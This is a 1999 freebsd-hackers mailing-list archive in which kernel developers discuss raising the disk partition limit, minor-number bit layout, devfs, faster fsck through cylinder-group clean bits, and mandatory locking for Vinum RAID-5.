<199908242322.QAA19396@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, Matthew Dillon wrote: > 11111111 11111111 -------- 11111111 mask for uminor > > Our only hope as far as I can tell is to take the upper two bits of the > slice (bits 19 and 20) and use them for the partition instead. > > As far as I can tell, only slices 0-5 are used, requiring only 3 bits. > > Can someone check my work? Are bits 19 and 20 unused by any disk > devices? no there can be up to 32 slices (including the 2 special ones) requiring 5 bits. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 17: 4: 2 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 85F09158CE for ; Tue, 24 Aug 1999 17:03:40 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id CAA16372 for freebsd-hackers@FreeBSD.ORG; Wed, 25 Aug 1999 02:02:52 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id 9C246870A; Wed, 25 Aug 1999 02:02:09 +0200 (CEST) Date: Wed, 25 Aug 1999 02:02:09 +0200 From: Ollivier Robert To: FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 Message-ID: <19990825020209.A41767@keltia.freenix.fr> Mail-Followup-To: FreeBSD Hackers List References: <199908242254.PAA16075@implode.root.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/0.95.5i In-Reply-To: ; from Julian Elischer on Tue, Aug 24, 1999 at 04:43:23PM -0700 X-Operating-System: FreeBSD 4.0-CURRENT/ELF ctm#5543 AMD-K6 MMX @ 200 MHz Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Julian Elischer: > Mmmmmph Mmmmmph! Mmmmph! > (damned gags) devfs anyone ? [runs for cover] -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #73: Sat Jul 31 15:36:05 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 17:11:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 908511582F for ; Tue, 24 Aug 1999 17:11:25 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id RAA19762; Tue, 24 Aug 1999 17:09:12 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 17:09:12 -0700 (PDT) From: Matthew Dillon Message-Id: <199908250009.RAA19762@apollo.backplane.com> To: David Greenman , FreeBSD Hackers List Subject: Re: more... Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 References: <199908242254.PAA16075@implode.root.com> <199908242303.QAA19246@apollo.backplane.com> <199908242322.QAA19396@apollo.backplane.com> <199908242329.QAA19447@apollo.backplane.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: tttttttu uuusssss -------- uuuuuppp minor layout for disks :: 11111111 11111111 -------- 11111111 mask for uminor :: : Grrr. #ifdef PC98, NDOSPART is set to 16 instead of 4, requiring 5 bits : (0,1,2-17). This leaves one bit that we can usurp. : : I'd rather have 2 bits, but I'll take 1 if I can get it. oops. only 5 bits of 's' anyway. A type bit ? 7 type bits, appear to be mostly unused for disks. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 17:24: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from freja.webgiro.com (freja.webgiro.com [212.209.29.10]) by hub.freebsd.org (Postfix) with ESMTP id 73ABA152BF for ; Tue, 24 Aug 1999 17:23:23 -0700 (PDT) (envelope-from abial@webgiro.com) Received: by freja.webgiro.com (Postfix, from userid 1001) id F036C1912; Wed, 25 Aug 1999 02:23:14 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by freja.webgiro.com (Postfix) with ESMTP id ED28E49D7; Wed, 25 Aug 1999 02:23:14 +0200 (CEST) Date: Wed, 25 Aug 1999 02:23:14 +0200 (CEST) From: Andrzej Bialecki To: Matthew Dillon Cc: FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 In-Reply-To: <199908242259.PAA19193@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, Matthew Dillon wrote: > :I know it's not the answer, it's just related question: do you know > :perhaps of any initiatives (except XFS) that could significantly shorten > :time it takes fsck to check big filesystems, let's say 64GB? As it is now, > :it's almost unbearable. I naively thought softupdates would (almost) > :eliminate the need to do fsck... > : > :Andrzej Bialecki > > Eventually Kirk is planning for softupdates to allow you to run a special > version of fsck in the background to clean up the block bitmap on a live > filesystem. The time frame for this project is not known. > > Another possibility would be to mark individual cylinders clean/dirty > to reduce the amount of work fsck must do on a normal filesystem. It > would be a pretty hefty project for someone to take on, though. Hmm.. If I understand you correctly: * the ffs code would have to be modified to mark cylinder groups "dirty" when there are writes to that CG. * on unmount, after the buffers are flushed they would be marked clean. * on mount all "clean" flags in CGs would have to be ckecked (instead of the single bit) * fsck would have to be modified to recognize CG "clean" flag and prune only those CGs. Overall, doesn't sound _that_ complicated... but most probably I'm missing something. Andrzej Bialecki // WebGiro AB, Sweden (http://www.webgiro.com) // ------------------------------------------------------------------- // ------ FreeBSD: The Power to Serve. http://www.freebsd.org -------- // --- Small & Embedded FreeBSD: http://www.freebsd.org/~picobsd/ ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 17:50:23 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6]) by hub.freebsd.org (Postfix) with ESMTP id 4B25914BCE for ; Tue, 24 Aug 1999 17:50:21 -0700 (PDT) (envelope-from billf@jade.chc-chimes.com) Received: by jade.chc-chimes.com (Postfix, from userid 1001) id 84A771C25; Tue, 24 Aug 1999 19:51:36 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by jade.chc-chimes.com (Postfix) with ESMTP id 800633826; Tue, 24 Aug 1999 19:51:36 -0400 (EDT) Date: Tue, 24 Aug 1999 19:51:36 -0400 (EDT) From: Bill Fumerola To: Ryan Cc: hackers@freebsd.org Subject: Re: Are certain parts of kernel not using suser() when they should? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, Ryan wrote: > Grepping through the kernel source tree, one finds these 12 files that use > "uid == 0" checks instead of the usual suser(). There may be more than one > instance per function/macro: [...] > Is there a reason for these checks not to use suser? No. Eivind Eklund was working this according the FreeBSD projects page (eivind@FreeBSD.org). I don't know the implication of this, would this impact phk's jail routines? -- - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp - - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 18:44:51 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp11.bellglobal.com (smtp11.bellglobal.com [204.101.251.53]) by hub.freebsd.org (Postfix) with ESMTP id 265771513A; Tue, 24 Aug 1999 18:44:46 -0700 (PDT) (envelope-from vanderh@ecf.toronto.edu) Received: from ppp18415.on.bellglobal.com (ppp18335.on.bellglobal.com [206.172.130.15]) by smtp11.bellglobal.com (8.8.5/8.8.5) with ESMTP id VAA12676; Tue, 24 Aug 1999 21:46:35 -0400 (EDT) Received: (from tim@localhost) by ppp18415.on.bellglobal.com (8.9.3/8.9.1) id VAA12047; Tue, 24 Aug 1999 21:45:23 -0400 (EDT) (envelope-from tim) Date: Tue, 24 Aug 1999 21:45:23 -0400 From: Tim Vanderhoek To: Wes Peters Cc: Mark Murray , "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990824214523.A11992@ppp18415.on.bellglobal.com> References: <199908232012.WAA78393@gratis.grondar.za> <19990823213857.B99022@ppp18344.on.bellglobal.com> <37C2AB77.52678981@softweyr.com> <19990824175154.A8869@ppp18415.on.bellglobal.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <19990824175154.A8869@ppp18415.on.bellglobal.com>; from Tim Vanderhoek on Tue, Aug 24, 1999 at 05:51:54PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 24, 1999 at 05:51:54PM -0400, Tim Vanderhoek wrote: > > > > How 'bout "anyone who can kill the process holding the lock?" On further reflection, I'd go even further: anyone who can set the lock can break the lock. Presumably if they know enough to explicitly break the lock, then they know enough to know what they're doing. This is more-or-less like a chmod("-w").... -- This is my .signature which gets appended to the end of my messages. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 18:52:53 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp05.primenet.com (smtp05.primenet.com [206.165.6.135]) by hub.freebsd.org (Postfix) with ESMTP id 59C9014EDA; Tue, 24 Aug 1999 18:52:47 -0700 (PDT) (envelope-from tlambert@usr01.primenet.com) Received: (from daemon@localhost) by smtp05.primenet.com (8.9.1/8.9.1) id SAA12554; Tue, 24 Aug 1999 18:52:43 -0700 Received: from usr01.primenet.com(206.165.6.201) via SMTP by smtp05.primenet.com, id smtpdrl0Wia; Tue Aug 24 18:52:41 1999 Received: (from tlambert@localhost) by usr01.primenet.com (8.8.5/8.8.5) id SAA16323; Tue, 24 Aug 1999 18:52:38 -0700 (MST) From: Terry Lambert Message-Id: <199908250152.SAA16323@usr01.primenet.com> Subject: Re: Locking in Vinum (was: Mandatory locking?) To: grog@lemis.com (Greg Lehey) Date: Wed, 25 Aug 1999 01:52:38 +0000 (GMT) Cc: a.reilly@lake.com.au, phk@critter.freebsd.dk, dillon@apollo.backplane.com, hackers@FreeBSD.ORG, cvs-committers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu In-Reply-To: <19990825083036.Q83273@freebie.lemis.com> from "Greg Lehey" at Aug 25, 99 08:30:36 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > I don't want to express an opinion about the need or otherwise > > for mandatory locking, but I would appreciate a teensy > > clarification of the problem domain: > > > > On Mon, Aug 23, 1999 at 05:43:45PM +0930, Greg Lehey wrote: > >> To write a block to a RAID-5 device, you need to: > >> > >> 1. Read the old data into a temporary buffer. > >> 2. Read the old parity data corresponding to the data into a > >> temporary buffer. > >> 3. XOR the two, storing the result in one of the temporary buffers. > >> 4. XOR the result with the data which is to be written. > >> 5. Write the data block. > >> 6. Write the parity block. > > > > Are you suggesting that random user processes have to do all of > > this every time that they access a vinum drive? > > Yes. This could also be accomplished with a volume access lock at the CAM level. I think what people are missing here is that Vinum, when doing software RAID, is implementing a type of namespace escape, only it isn't a standard namespace escape. For example, if I have a QUOTAFS that accesses the file "/.quota", and then lies during VOP_READDIR and other name lookup operations in order to hide the "/.quota" file from prying eyes. Because this escapes the whole file, it is _not_ like the Vinum usage, which needs to escape parity bits on a block device. The Vinum usage needs to prevent access to the file range covered by the parity bits, rather than merely protecting the parity bits. Use of a mandatory lock mechanism has a significantly higher granularity than a logical volume lock (which is what would have to be use, instead of a physical volume, unless we can be guaranteed that the parity bits plus the bits over which the parity is being calculated do not span more than a single physical volume. It seems to me that this is a proper application of mandatory locks. There also seems to be a general misconception about mandatory locking implementation in SVR4 (or in general). The point of mandatory locks is to allow you to _prevent_ access to files where the locking applies, except when such access is encapsulated with a lock. This means that the "race scenarios", where a badly behaved process is able to thwart the locking, don't exist. For the other "deadlock" scenarios, mandatory locks are no worse than a chflags'ed ld.so file that you can't replace unless you chflag it back, and certainly no worse than the FreeBSD behaviour that prevented updating a running executable, in the past (EBUSY). At worst, you can always kill the process that has the lock, and allow resource tracking to clean up after it. For the use proposed by Vinum, however, fcntl() based mandatory locks are probably not the proper tool. This is because you can only apply locks to devices that have a VOP_ADVLOCK on their backing store, and which use the VFSOPS based fileops structures. For the same reason that Linux user lament the inability to place advisory range locks on special files in FreeBSD, so, too, would Vinum be unable to place mandatory locks through that same mechanism against special files in FreeBSD. To correct this to allow it to work would require hanging the locks off of the vnode, instead of hanging them off the backing object (I have been suggesting -- and providing patches for -- this for literally years). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 18:57:30 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id 2005815675 for ; Tue, 24 Aug 1999 18:57:17 -0700 (PDT) (envelope-from tlambert@usr01.primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.9.3/8.9.3) id SAA24226; Tue, 24 Aug 1999 18:55:06 -0700 (MST) Received: from usr01.primenet.com(206.165.6.201) via SMTP by smtp04.primenet.com, id smtpdAAAIQaOsV; Tue Aug 24 18:55:00 1999 Received: (from tlambert@localhost) by usr01.primenet.com (8.8.5/8.8.5) id SAA16497; Tue, 24 Aug 1999 18:55:16 -0700 (MST) From: Terry Lambert Message-Id: <199908250155.SAA16497@usr01.primenet.com> Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 To: dillon@apollo.backplane.com (Matthew Dillon) Date: Wed, 25 Aug 1999 01:55:16 +0000 (GMT) Cc: dg@root.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199908242303.QAA19246@apollo.backplane.com> from "Matthew Dillon" at Aug 24, 99 04:03:27 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > :> The question I am putting to the group is whether it is "time" for us, > :> with today's large disks, to increase the system-compiled default > :> from 8 to 16 partitions. Instead of a-h we would have a-p > : > : It seems reasonable to me, although there may be issues with finding a bit > :in the minor number - I think they've pretty much all been taken. > > Cripes! Now that is really annoying. da0a is 4,0 and da1a is 4,8. Use devfs (it doesn't require major/minor numbers). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 19: 2:24 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 827B0150B0 for ; Tue, 24 Aug 1999 19:02:21 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id TAA22850; Tue, 24 Aug 1999 19:01:50 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 19:01:50 -0700 (PDT) From: Matthew Dillon Message-Id: <199908250201.TAA22850@apollo.backplane.com> To: Terry Lambert Cc: dg@root.com, freebsd-hackers@FreeBSD.ORG Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 References: <199908250155.SAA16497@usr01.primenet.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> Cripes! Now that is really annoying. da0a is 4,0 and da1a is 4,8. : :Use devfs (it doesn't require major/minor numbers). : : Terry Lambert : terry@lambert.org We can't use devfs for this, the partition id is already embedded in the dev_t and it has to stay that way to remain compatible with the preexisting partition space. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 19: 7:35 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 65DF8152E6; Tue, 24 Aug 1999 19:06:54 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id LAA28473; Wed, 25 Aug 1999 11:35:20 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id LAA01659; Wed, 25 Aug 1999 11:35:19 +0930 (CST) Date: Wed, 25 Aug 1999 11:35:18 +0930 From: Greg Lehey To: Terry Lambert Cc: a.reilly@lake.com.au, phk@critter.freebsd.dk, dillon@apollo.backplane.com, hackers@FreeBSD.ORG, cvs-committers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu Subject: Re: Locking in Vinum (was: Mandatory locking?) Message-ID: <19990825113518.D83273@freebie.lemis.com> References: <19990825083036.Q83273@freebie.lemis.com> <199908250152.SAA16323@usr01.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199908250152.SAA16323@usr01.primenet.com>; from Terry Lambert on Wed, Aug 25, 1999 at 01:52:38AM +0000 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 25 August 1999 at 1:52:38 +0000, Terry Lambert wrote: >>> I don't want to express an opinion about the need or otherwise >>> for mandatory locking, but I would appreciate a teensy >>> clarification of the problem domain: >>> >>> On Mon, Aug 23, 1999 at 05:43:45PM +0930, Greg Lehey wrote: >>>> To write a block to a RAID-5 device, you need to: >>>> >>>> 1. Read the old data into a temporary buffer. >>>> 2. Read the old parity data corresponding to the data into a >>>> temporary buffer. >>>> 3. XOR the two, storing the result in one of the temporary buffers. >>>> 4. XOR the result with the data which is to be written. >>>> 5. Write the data block. >>>> 6. Write the parity block. >>> >>> Are you suggesting that random user processes have to do all of >>> this every time that they access a vinum drive? >> >> Yes. > > This could also be accomplished with a volume access lock at the > CAM level. It could be, but it would introduce unnecessary waits. > I think what people are missing here is that Vinum, when doing > software RAID, is implementing a type of namespace escape, only > it isn't a standard namespace escape. Interesting terminology. I think you've lost most people already. > Because this escapes the whole file, it is _not_ like the Vinum > usage, which needs to escape parity bits on a block device. The > Vinum usage needs to prevent access to the file range covered by the > parity bits, rather than merely protecting the parity bits. Correct. I lock a stripe at a time. > It seems to me that this is a proper application of mandatory > locks. Sure. It also has nothing to do with the userland file locking I was talking about in the previous thread. > For the use proposed by Vinum, however, fcntl() based mandatory > locks are probably not the proper tool. Vinum isn't proposing fcntl-based locks. I was looking at them for a specific application; Vinum has always had its own locking mechanism (see sys/dev/vinum/vinumlock.c). > This is because you can only apply locks to devices that have a > VOP_ADVLOCK on their backing store, and which use the VFSOPS > based fileops structures. > > For the same reason that Linux user lament the inability to > place advisory range locks on special files in FreeBSD, so, too, > would Vinum be unable to place mandatory locks through that > same mechanism against special files in FreeBSD. > > To correct this to allow it to work would require hanging the > locks off of the vnode, instead of hanging them off the backing > object (I have been suggesting -- and providing patches for -- > this for literally years). Can you point me to the patches again? Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 19:12:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (Postfix) with ESMTP id 4753F15205 for ; Tue, 24 Aug 1999 19:12:24 -0700 (PDT) (envelope-from julian@whistle.com) Received: from current1.whistle.com (current1.whistle.com [207.76.205.22]) by alpo.whistle.com (8.9.1a/8.9.1) with SMTP id TAA77792; Tue, 24 Aug 1999 19:09:55 -0700 (PDT) Date: Tue, 24 Aug 1999 19:10:05 -0700 (PDT) From: Julian Elischer To: Matthew Dillon Cc: Terry Lambert , dg@root.com, freebsd-hackers@FreeBSD.ORG Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 In-Reply-To: <199908250201.TAA22850@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, Matthew Dillon wrote: > :> Cripes! Now that is really annoying. da0a is 4,0 and da1a is 4,8. > : > :Use devfs (it doesn't require major/minor numbers). > : > : Terry Lambert > : terry@lambert.org > > We can't use devfs for this, the partition id is already embedded in the > dev_t and it has to stay that way to remain compatible with the > preexisting partition space. A true devfs implementation (such as was deleted by Vikings inc.) can allocate the minor numbers arbitrarily. They are simply cookies and have no embedded meaning.. SLICE started with 0 for the first disk-like object found and incemented each time it found another. I'm very close to having it all working again.. > > -Matt > Matthew Dillon > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 19:18:23 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.6.133]) by hub.freebsd.org (Postfix) with ESMTP id 8C124150DD for ; Tue, 24 Aug 1999 19:18:20 -0700 (PDT) (envelope-from tlambert@usr01.primenet.com) Received: (from daemon@localhost) by smtp03.primenet.com (8.9.3/8.9.3) id TAA01933; Tue, 24 Aug 1999 19:17:04 -0700 (MST) Received: from usr01.primenet.com(206.165.6.201) via SMTP by smtp03.primenet.com, id smtpdAAALKayTd; Tue Aug 24 19:16:54 1999 Received: (from tlambert@localhost) by usr01.primenet.com (8.8.5/8.8.5) id TAA17644; Tue, 24 Aug 1999 19:17:04 -0700 (MST) From: Terry Lambert Message-Id: <199908250217.TAA17644@usr01.primenet.com> Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 To: abial@webgiro.com (Andrzej Bialecki) Date: Wed, 25 Aug 1999 02:17:04 +0000 (GMT) Cc: dillon@apollo.backplane.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Andrzej Bialecki" at Aug 25, 99 02:23:14 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > :I know it's not the answer, it's just related question: do you know > > :perhaps of any initiatives (except XFS) that could significantly shorten > > :time it takes fsck to check big filesystems, let's say 64GB? As it is now, > > :it's almost unbearable. I naively thought softupdates would (almost) > > :eliminate the need to do fsck... > > : > > :Andrzej Bialecki > > > > Eventually Kirk is planning for softupdates to allow you to run a special > > version of fsck in the background to clean up the block bitmap on a live > > filesystem. The time frame for this project is not known. > > > > Another possibility would be to mark individual cylinders clean/dirty > > to reduce the amount of work fsck must do on a normal filesystem. It > > would be a pretty hefty project for someone to take on, though. > > Hmm.. If I understand you correctly: > > * the ffs code would have to be modified to mark cylinder groups "dirty" > when there are writes to that CG. > > * on unmount, after the buffers are flushed they would be marked > clean. > > * on mount all "clean" flags in CGs would have to be ckecked (instead of > the single bit) > > * fsck would have to be modified to recognize CG "clean" flag and prune > only those CGs. > > Overall, doesn't sound _that_ complicated... but most probably I'm missing > something. When a system crashes, the dirty bit is set. Because the dirty bit is set, you can't trust the FS contents to be able to distinguish between a crash that was the result of a software failure, and one that was the result of a hardware failure. Because of this, you must assume a hardware failure, and engage in a full check. In the case of a software failure, the cylinder group bitmaps may, in fact, have bits indicating that things which are not truly allocated have in fact been allocated. The process of traversing these (locking each CG as you do so) to clear the bits on things that were never truly allocated is the "fsck in the background" operation which is permissible following a software failure which leaves the dirty bit set for the FS. There are two rational methods for getting around this problem; the first was suggested by Ganger and Patt, Matt Day, Mark Muhlestein, myself, and others: "soft read-only". A "soft read-only" implementation was done (by Kirk) for BSDI. The basic idea is to mark the in core superblock read-only after there are no dirty buffer left associated with an FS, and then mark the on-disk structure clean. When a write (or a read, since you must obey POSIX atime semantics) occurs, you must mark the FS dirty and _be certain this write has been commited to disk_, before clearing the "soft read-only" flag and allowing the dirtying operation to complete. An implementation of this is pretty trivial on a normal system, and Matt, Mark, and myself implemented such a beast for our Windows 95 port of the Heidemann framework and the BSD FFS (and the Ganger/Patt Soft updates code). This gives you a sort of "statistical protection", which is most useful for a single user desktop box (e.g. Windows 95), where the box's disks are frequently idle for large stretches of time, and therefore in the state "clean, soft-read-only". For FreeBSD, the problem is complicated by the FS metadata's dirty buffers being hung off the device vnode, rather than being truly seperate data. This means that you must sync out that data, as well, before you can mark the FS clean (and you must resync out similar data to besure the dirty bit has been correctly set, before proceeding with other writes). For the Windows 95 port of the code, there was no unified VM and buffer cache to have to worry about in this regard. Apart from "soft read-only", you can obtain, at the cylinder group level, seperate "clean bits" on a per cylinder group basis. For this to work in the face of a true hardware failure, you must engage in a two stage commit process, in which you mark the entire FS dirty, modify the state of the cylinder group clean bit, and then mark the FS clean. This works in the face of software failures for cylinder group operations. To make it robust in the face of hardware failures, you must have a seperate "dirty-but-ok" bit for the cylinder group, which is similarly protected, and which is reset (after resetting the FS dirty bit, after resetting the CG dirty bit) during updates to non-CG bitmap data. Failure to support this leaves you unable to verify the state of the non-bitmap data in the CG bitmap, particularly for files whose block pointers span cylinder groups. Processing of cleanup is further complicated by the fact that any file that spans a "dirty, dirty" CG after a software failure must be treated as if it had been involved in a hardware failure. With a large number of files, the benefits gained by this approach are small. Aside: I was under the impresssion from the Usenix reports that Kirk's checkpointing mechanism was a reference to the ability to stall an image of the FS as an exposed "snapshot", to allow for backups to occur on running FS's (and if the backups were "taking too long", that regular soft-updates operations would eventaully stall as a result). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 19:18:58 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.primenet.com (smtp02.primenet.com [206.165.6.132]) by hub.freebsd.org (Postfix) with ESMTP id A5E1F153DF for ; Tue, 24 Aug 1999 19:18:56 -0700 (PDT) (envelope-from tlambert@usr01.primenet.com) Received: (from daemon@localhost) by smtp02.primenet.com (8.8.8/8.8.8) id TAA25814; Tue, 24 Aug 1999 19:18:34 -0700 (MST) Received: from usr01.primenet.com(206.165.6.201) via SMTP by smtp02.primenet.com, id smtpd025762; Tue Aug 24 19:18:26 1999 Received: (from tlambert@localhost) by usr01.primenet.com (8.8.5/8.8.5) id TAA17723; Tue, 24 Aug 1999 19:18:24 -0700 (MST) From: Terry Lambert Message-Id: <199908250218.TAA17723@usr01.primenet.com> Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 To: dillon@apollo.backplane.com (Matthew Dillon) Date: Wed, 25 Aug 1999 02:18:23 +0000 (GMT) Cc: tlambert@primenet.com, dg@root.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199908250201.TAA22850@apollo.backplane.com> from "Matthew Dillon" at Aug 24, 99 07:01:50 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > :> Cripes! Now that is really annoying. da0a is 4,0 and da1a is 4,8. > : > :Use devfs (it doesn't require major/minor numbers). > > We can't use devfs for this, the partition id is already embedded in the > dev_t and it has to stay that way to remain compatible with the > preexisting partition space. Too bad you are not as willing to abandon your existing partition space as quickly as you are willing to abandon your historical disklabel format, or you wouldn't be having this problem. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 19:25:19 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 4A1A7150DD for ; Tue, 24 Aug 1999 19:25:16 -0700 (PDT) (envelope-from 